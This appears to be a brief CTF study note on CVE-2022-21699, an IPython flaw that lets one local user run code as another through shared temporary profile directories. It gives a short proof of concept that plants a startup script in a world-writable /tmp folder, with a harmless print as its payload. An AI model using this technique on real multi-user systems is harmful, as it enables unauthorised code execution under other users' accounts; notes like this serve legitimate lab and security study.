CVE-2022-21699

iPython

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Shows on:

• HTB Busqueda

POC:

# -m: file mode (rwx)
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("jarana")' > /tmp/profile_default/startup/exploit.py

Resources:

CVE-2022-21699 | UbuntuUbuntu

https://vuldb.com/?id.191267=vuldb.com

NVD - CVE-2022-21699

CVE - CVE-2022-21699